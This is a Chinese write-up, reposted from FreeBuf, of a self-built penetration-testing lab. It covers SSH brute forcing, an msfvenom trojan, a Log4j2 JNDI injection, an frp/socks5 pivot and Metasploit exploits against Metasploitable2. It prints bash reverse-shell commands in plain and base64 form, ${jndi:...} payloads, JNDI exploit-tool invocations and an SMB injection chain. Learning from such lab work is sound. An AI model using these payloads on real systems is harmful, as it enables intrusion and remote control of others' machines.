须知

写这个文章之前,想着熟悉隧道搭建、cs、msf等软件的利用和实战测试下,但是等等原因(主要是自己懂得太少了)导致这个文章写的零散,没有一样具体化了,就当作熟悉下这个流程吧。

环境搭建

  • 因为想模拟实战,所以弄了个vps主机(在腾讯云白嫖的,正好测试下)

  • 主机kali:模仿cs客户端攻击方,ip:192.168.0.156

  • ubuntu:ip1:192.168.0.193,ip2:10.1.1.1/24(内网ip)

  • 内网主机Metasploitable2(名字太长故以下叫靶机):模仿没有联网的内网服务器,ip:10.1.1.2/24

  • kali:192.168.0.156

  • vps:cs服务端,frp服务端,ip就不详细列出了:43.142.*.*

  • vps开放的端口

    • image.png

介绍下这整个流程:

  1. 通过一定的渗透获取服务器shell(指的是实际公网web的服务器,在这个测试指的是ubuntu主机)

  2. 获取了ubuntu的shell,与我的vps搭建建立隧道

  3. 把msf加入隧道,实现对内网的渗透

测试各pc连通性

  1. 新增一个主机ubuntu的网络适配器,适配器1的连接模式为桥接,适配器2的模式为自定义,选择vmnet3(注意待会Metasploitable2的适配器的连接模式要与这个一样),然后设置适配器2ip:10.1.1.1

    • image.png

  2. Metasplotable2的连接模式为自定义连接,选择vmnet3,然后ip设置为10.1.1.2

    • image.png

  3. kali的ip也是桥接模式。最后vps、kali、ubuntu ip1能互相通信的,而ubuntu的ip2能于靶机互相通信,并且vps和kali无法与靶机通信即代表环境搭配成功。

cs软件运行起来

  1. vps 服务端 配置并运行

    • image.png

    • image.png

  2. kali 客户端连接服务端,并开启端口8082监听中了木马客户端连接请求

    • image.png

    • image.png

    • 这个客户端ip是192.168.0.193的写错了。

获取ubuntu的shell

基于端口爆破获取ubuntu shell

  1. 使用msscan快速扫描开放的端口。存在端口22、80开放,经过查看了49153端口,发现和80端口内容一样,就不管这个端口了,使用nmap 详细扫描下端口的信息和常见漏洞

    • image.png

    • image.png

  2. 得知22端口是ssh服务,就可以使用端口爆破密码(这里为了简单和时间,就直接设置用户名为root、密码为弱密码)

    • 使用Hydra爆破ssh用户密码

      • image.png

    • 知道用户名root、密码123456。kali登录ssh

      • image.png

基于cs 生成木马诱导ubuntu执行获取shell

  1. 使用msfvernom生成木马,会话传递给cs监听

    • image.png

    • 生成一个木马,只要这个木马运行,就会主动与192.168.0.156 8000端口通信

  2. 接下来要做的事情就是把这个文件挂到服务器上,然后利用ssh下载这个文件,当然也可以直接上传文件到ubuntu,因为已经知道了用户密码了。

    • 客户端上传这个木马文件到服务器上

      • image.png

      • image.png

    • 这个就是url就是木马的下载链接

  3. kali使用用户密码上传

    • image.png

  4. 登录ssh后使用curl下载

    • image.png

  5. kali设置一个8000端口监听,用于监听执行木马客户端的连接请求。

    • image.png

  6. 接下来登录ubuntu ssh 运行木马文件

    • image.png

    • image.png

  7. 已经成功监听到了。接下来把这个连接会话给cs

    • image.png

    • 但是我想找linux的payload_inject 模块结果找不到(有知道的可以告诉下),这个模块的作用是将指定会话session id注入到新到CobaltStrike会话中,然后cs就可以监听这个会话了。在这个生成木马的时候,我还试过反向连接的ip和端口为cs的监听端口也是不行,那就只能通过cs生成的木马让ubumtu执行了。

  8. 搜索才知道。监听linux需要下载genCrossC2,算了就不尝试了。

  9. 因为使用msf制作的木马,也已经监听到了,这里就先到这里了。

基于apache log4j2 漏洞获取shell(原先想找个log4j2漏洞在我ubuntu上搭建,然后通过这个漏洞获取shell,但是手动搭建好麻烦,就没弄了,便用docker拉取的镜像模拟测试下)

  1. 因为之前端口扫描的时候,存在一个80端口开放,并且这是个web,而且这是我搭建的存在apache log4j2的漏洞

  2. 抓包测试判断是否存在log4j2漏洞

    • image.png

    • image.png

    • image.png

  3. 测试存在log4j2漏洞,接下来构造反弹shell的payload(利用别人已经构造的ext)。

    1. JNDI注入工具的语句格式:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “命令” -A “攻击机的ip”(注意这个命令要经过base64编码)

    2. 这里我构造的命令:bash -i >& /dev/tcp/192.168.0.156/8000 0>&1(这个Bash 命令的意思是将当前的 Bash shell 变成一个反向 shell,它会将命令行输入发送到远程主机上的 TCP 端口,然后将远程主机上的输出发送回本地的 Bash shell,所以这里我设置了kali来8000端口来监听

    3. 将此命令使用base64编码:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTU2LzgwMDAgMD4mMQ==

      1. image.png

  4. 最后的命令为(这里其实有点不懂,为啥先base编码,然后又解码,是因为逃逸啥吗?):“bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTU2LzgwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}”(查阅资料的意思是:它的作用是将一个经过 Base64 编码的命令字符串解码并在目标主机上执行。具体来说,这个命令使用 -c选项来指定要执行的命令,该命令是一个由多个管道符号 |连接的命令序列。第一个命令是 echo,它将 Base64 编码的命令字符串输出到标准输出。第二个命令是 base64,它将标准输入中的 Base64 编码解码为原始命令字符串。第三个命令是 bash,它将解码后的命令字符串作为输入,并在目标主机上执行该命令。最终的效果是在目标主机上执行了一个由 Base64 编码的命令字符串,该命令字符串的内容是 bash -i >& /dev/tcp/192.168.0.156/8000 0>&1,它将当前的 Bash shell 与远程主机上的一个 TCP 端口建立连接,并将输入和输出重定向到该连接,从而创建一个反向 shell

  5. 最后完整的JNDI注入工具语句为:java - jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTU2Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.0.156

  6. kali再使用瑞士军刀nc开启8000端口监听

    • image.png

  7. kali运行java此语句

    • image.png

  8. 会生成两个协议的执行命令,这两个协议在log4j2中都有执行权限

    • rmi://192.168.0.156:1099/syojwi

    • ldap://192.168.0.156:1389/syojwi

  9. 最终payloa(任选其一即可):

    • ${jndi:rmi://192.168.0.156:1099/syojwi}

    • ${jndi:ldap://192.168.0.156:1389/syojwi}

  10. 使用url编码赋值个payload字段即可(这里我选第一个)

    • image.png

  11. 结果kali没有接收到连接。。。,查阅资料是1099,1389,8180这三个端口确保可用,那么先用netstat -antupl查看下端口的开放情况。

    • image.png

    • 8180和1389端口是监听状态的,但没有看1099端口,看下JNDI注入工具的运行状态。

      • image.png

      • 直接杀死这个JNDI注入工具进程,然后重新运行。

        • image.png

        • ok,端口都是运行的了,bp重新发个包。

  12. 但是结果一放包,还是接收不到反弹shell的连接,查看下JNDI注入工具。

    • image.png

    • 原因是找不到syojwi文件。

    • 接着我更换了kali java版本为jdk8(更换方法),然后使用ldap协议,且JNDI注入工具的java包路径为绝对路径。经过测试,JNDI注入工具正常了,但是无法接收到shell的连接。

      • image.png

  13. 嗯,只能再次尝试了,这次换个端口为4848(!此时的心情!)

    1. 构造payload1 bash反弹shell=》bash -i >& /dev/tcp/192.168.0.156/4848 0>&1=》base64编码:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTU2LzQ4NDggMD4mMQ===》完整的JNDI工具注入语句:java -jar /home/apachelog4j2/Apache-Log4j-Learning-main/tools/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTU2LzgwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.0.156

    2. 运行构造payload2:${jndi:ldap://192.168.0.156:1389/uzzvbb}

      • image.png

    3. kali开启4848端口监听

      • image.png

    4. 将payload2进行url编码给get请求中的payload赋值,放包

      • image.png

    5. 很遗憾还是没有连接到shell。

      • image.png

    6. 最后才反应过来,这个log4j2漏洞网页的漏洞是我在ubuntu的docker部署的,因为网段不一样是无法访问我kali主机的。

    7. 只能放弃了,那么现在就把shell反弹给ubuntu吧。

      1. 构造bash反弹shell的命令:bash -i >& /dev/tcp/192.168.0.193/4848 0>&1=》base64编码:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTkzLzQ4NDggMD4mMQ==》完整的JNDI工具注入语句:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTkzLzQ4NDggMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.0.193

        • image.png

      2. 构造payload2=》${jndi:rmi://192.168.0.193:1099/a7x5hi}=》ubuntu(192.168.0.193)开启4848端口监听=》将payload2进行payload进行url编码后给payload字段传参

        • image.png

        • image.png

        • image.png

        • image.png

      3. 已经成功的连接到了docker容器的shell。

获取了ubuntu的shell,接下来我们就需要开始内网穿透了,扫描其内网的存活设备,并获得其shell

  1. 因为已经获取了shell,使用ifconfig命令就可以知道ip信息。

    • image.png

    • 可以看到存在两个网卡,一个网卡的网段是192.168.0.0/24  另一个网段是10.1.1.0/24。扫描网段10.1.1.0/24这个网段的信息,来实现内网横向移动。

  2. 首先我们要借用ubuntu扫描内网,因此需要与ubuntu建立隧道。(frp下载链接

  3. vps配置服务端frp(vim /frps.in)和开启(./frps -c ./frps.ini)

    • image.png

    • image.png

  4. ubuntu客户端配置frp(vim /frpc.ini)和运行(./frpc -c ./frpc.ini)

    • image.png

    • server_addr = 43.142.*.*    #用于服务端的(vps)ip
      server_port = 7000      #服务端(vps)监听的端口
      [ssh]                   #
      type = tcp #ssh连接的通信协议为tcp
      local_ip = 127.0.0.1#ssh连接的ip
      local_port = 22 #ssh连接的端口
      remote_port = 8082#用于转发ssh端口的服务器(vps)端口,就是说只要访问 vps 8082端口就是在访问frp客户端的22端口。
      [socks5]
      type=tcp #socks5通信的协议
      remote_port=8888#socks5的端口
      plugin=socks5#指定了使用socks5插件

  5. 然后把这个配置好的客户端发送给ubuntu并启动。这里就使用用msf。

    • 启用msf,并监听之前上传木马的端口8000并且运行木马文件.

      • image.png

    • 运行frp客户端。

      • image.png

  6. 到这里呢。vps与ubuntu隧道已经建立完毕。现在使用proxychains+nmap扫描内网。

    1. proxychains配置

      • image.png

    2. 使用proxychains+nmap扫描内网存活主机

      • image.png

      • 为了简单,这里我已经知道10.1.1.2的主机就是我们的靶机。就直接对这个主机进行渗透。

    3. 对10.1.1.2ip的信息收集

      1. 系统信息:proxychins nmap -O 10.1.1.2

        • image.png

      2. 端口开放情况(好像只能使用tcp全连接扫描,如果用其他(半开扫描、ACK扫描、UDP扫描等等)都会扫描不到端口。因为socks代理不支持ICMP、ARP等网络层的协议,但是有点不理解为啥半开扫描也不行):proxychins nmap -p- 10.1.1.2 2>&1 |grep  'OK'

        • image.png

        • image.png

      3. 接下来都使用msf来进行渗透,首先把msf添加到代理中。

        1. setg Prompt socks5:43.142.*.*:8888(vps服务器ip和socks5端口,用setgproxies socks:socks5:43.142.*.*8888这个命令进行msf代理,前面的那个prompt是个提示符)                setg ReverseAllowProxy true(允许反向连接,提高链接的稳定性)

          • image.png

到这里呢,我已经把msf连接到了内网(通过socks5代理),接下来根据端口号进行渗透。

  1. ftp(21)

    • auxiliary/scanner/ftp/anonymous(探测ftp是否允许匿名登录),没有结果。。但是能看到服务版本是2.3.4.

      • image.png

    • 寻找ftp2.3.4版本的漏洞,然后使用这个漏洞exploit/unix/ftp/proftpd_133c_backdoor(在未经身份验证的情况下获取 root 权限)

      • image.png

      • image.png

    • 到此成功利用ftp漏洞获取了靶机的shell。

  2. ssh(22)

    • 探测ssh版本信息(auxiliary/scanner/ssh/ssh_version)

      • image.png

    • 针对版本4.7漏洞,找到了一些,但是尝试,有的需要的东西太繁琐了,有的失败了,这里还是爆破吧(一样这里已知用户msfadmin):auxiliary/scanner/ssh/ssh_login

      • image.png

    • 知道了用户名msfadmin密码msfadmin,当然也可以尝试爆破root,至于提权最后再尝试,知道了ssh的用户名和密码就可以登录shell了。

  3. 23(talent)

    • 主要就是爆破用户名密码的,就不尝试了。

  4. 25(smtp),这个协议简单了解了下,没找到具体能渗透啥的。

    • image.png

    • image.png

  5. 53(DNS)收集信息,或者其他的利用

    • image.png

  6. 80(http),访问网页后再看,因为这是内网的,所以需要给浏览器设置代理,因为我是用的bp自带的浏览器,所以对bp进行设置就可以了。

    • image.png

    • image.png

    • 这里的漏洞,就不去手动测了,直接用awvs扫。这里的8090端口是我给10.1.1.2 80端口进行的端口转发,具体的frp客户端的配置

      • image.png

      • image.png

      • image.png

      • image.png

      • 就以第一个测试吧

        • image.png

        • 了解CVE-2012-2311漏洞,执行远程代码

          • 抓取主页的请求包

            • image.png

          • 执行远程代码

            • image.png

            • 解释下

              • allow_url_include=on:允许includerequire语句中使用URL路径

              • auto_prepend_file=php://input:PHP会将HTTP请求体作为一个文件读取,并将其作为自动包含的文件

              • :执行whoami和ls命令

      • 其他的漏洞就不尝试了。

  7. 111(RPC)找了些漏洞,但是我实测只有个ddos攻击CVE-2017-8779,没找到其他的。

  8. 139(SMB)首先使用辅助模块扫描下smb的版本信息:auxiliary/scanner/smb/smb_version

    • image.png

    • 默认扫描的是445端口,算了就这样吧,发现扫描到了samba 3.0.20的版本,那么寻找这个版本的漏洞。

      • image.png

      • 使用cve-2007-2447

        • image.png

      • 发现这里要设置源主机和端口,直接监听9797端口。但是这里有个问题,我们的反弹shell的ip只能是ubuntu,因为其他的ip,靶机是访问不到的,这里可以直接用ubuntu来监听的,因为已经获取了ubuntu的shell,但是我想要kali来监听,想了下,能否可以用端口转发,把ubuntu的9797端口转发到vps的9797端口,然后监听vps的9797端口!。(末尾有解决办法!!!)

        • image.png

      • 然而想法是美好的,但总是出幺蛾子,直接绑定失败,给我验证的机会都没,经过尝试只有运行msf的kali ip才能绑定上。哪怕我把ip为靶机同一网段的ip也不行,真是怪。(末尾有解决办法!!!)

        • image.png

        • 那么这个cve就直接利用不了啊,因为你靶机的shell只能反弹给192.168.0.193(ubuntu)和10.1.1.0/24的主机,与其他pc是通信不了的,然后想手动注入,查到了手动注入代码为(执行 whoami 命令):smbclient -U " " -N -L "\\target_ip\share_name" -c "echo \"[global]\" > /tmp/smb.conf && echo \"path = /tmp\" >> /tmp/smb.conf && echo \"writeable = yes\" >> /tmp/smb.conf && echo \"guest ok = yes\" >> /tmp/smb.conf && echo \"[tmp]\" >> /tmp/smb.conf && echo \"path = /tmp\" >> /tmp/smb.conf && echo \"writeable = yes\" >> /tmp/smb.conf && echo \"guest ok = yes\" >> /tmp/smb.conf && smbclient //target_ip/tmp -U \"\" -N -c \"put /bin/sh /tmp/sh && chmod +x /tmp/sh\" && smbclient //target_ip/tmp -U \"\" -N -c \"/tmp/sh -c 'whoami'\"

        • 但是执行失败。

      • 至于其他漏洞都差不多,绑定失败

    • 只能用端口爆破密码,这个就不演示了。

  9. 445端口(smb)就不说了,至于512、513、514这三个端口是rsh系列。在系统之后被错误配置从而允许远程访问者从任何地方访问。首先rexec协议已经被大部分操作系统和网络设备所禁用,其次kali还要安装,就不尝试了。

  10. 1099(Java RMI 服务的注册表),找到了:exploit/multi/misc/java_rmi_server模块,但是一样用不了

  11. 1524(metasploit root shell),直接拿netcat连接即可

    • image.png

  12. 2049(这个与111端口一样都是nsf,是一种分布式文件系统协议),但是这里我连使用:auxiliary/scanner/nfs/nfsmount模块去验证都验证不了,具体的的攻击就不尝试了。

  13. 2121(Java语言开发的FTP服务器软件),查了下存在目录遍历漏洞,但是遍历的前提是进行用户登录,所以也就只有个端口爆破密码了

  14. 3306(mysql)可以尝试爆破用户密码。

  15. 3632(Distcc Daemon默认的监听端口,用于接收来自Distcc客户端的连接请求):使用 exploit/unix/misc/distcc_exec就可以远程执行任意命令。但是一样无法设置反弹shell的监听ip,只能作罢。

  16. 5432(postgresql),端口爆破。

  17. 5900(VNC远程桌面协议的默认端口)可以爆破。

  18. 6000(是一种基于客户端/服务器架构的图形化界面系统,也称为X Window系统。它可以让用户通过网络远程访问和控制其他计算机的图形化界面)。好像也只能爆破。。

    • image.png

  19. 6667、6697 (IRC(Internet Relay Chat)协议的默认端口,用于提供在线聊天服务):exploit/unix/irc/unreal_ircd_3281_backdoor,同样无法无法设置反弹shell的监听ip,只能作罢。

  20. 8009(Apache Tomcat应用服务器的默认AJP(Apache JServ Protocol)连接端口) :exploit/multi/http/tomcat_mgr_deploy,测试失败

  21. 8180,msf的端口和nmap都没扫出来是什么服务。

  22. 8787(Java Debug Wire Protocol(JDWP)的默认端口,用于Java应用程序的远程调试和监控):exploit/multi/misc/java_jdwp_debugger,发现需要反向连接,监听的ip又绑定不了。。

到此呢,这个内网渗透算结束了,总结下吧。

  1. 这整个做下来发现msf好多的反弹shell都不能使用,还是对msf不够了解(其实尝试许多方法,也查了下资料说msf使用socks5有bug,但是呢发现frp使用socks4报错[socks4] start error: plugin [socks4] is not registered,可能是不支持还是啥的)。

  2. 懂得东西的太少了,以至于每接收到一个陌生的词汇、知识点,就要去了解,还好有个chatgpt(简直就是全能的咨询师)。

这个是我后补充的(反弹shell失败的解决办法):

  1. 之前那些反向shell,不是接收不到吗,经过尝试得知原因是因为setg proxies socks:socks5:43.142.*.*:8888这个代理可能存在问题,直接使用proxychins启动msf就可以解决这个问题(proxychins msfdb run).还有上面的那个把监听到的shell不是反弹给ubuntu了吗,我说我想把这个监听的端口进行转发,然后kali去监听这个端口(nc -lvp ),这个好像是不行的。所以只能把这个Lhosts设为10.1.1.1,因为其他的ip,靶机它访问不到,所以说我之前设置为192.168.0.193是错误的,当然可以在靶机上设置个静态路由(sudo route add -net 192.168.0.0 netmask 255.255.255.0 gw 192.168.0.193)具体操作:

    • proxychins启动msf

      1. image.png

    • 使用:exploit/multi/samba/usermap_script模块,并配置需要的配置。

      • image.png

    • ubuntu监听10.1.1.1 9797端口,并且msf run

      • image.png

  2. 这里如果实在想把这个shell反弹给vps,可以尝试下把ubuntu和靶机建立隧道,这样靶机的流量就可以从ubuntu端出去,从而可以访问vps、访问外网。

本文作者:Moonoon, 转自FreeBuf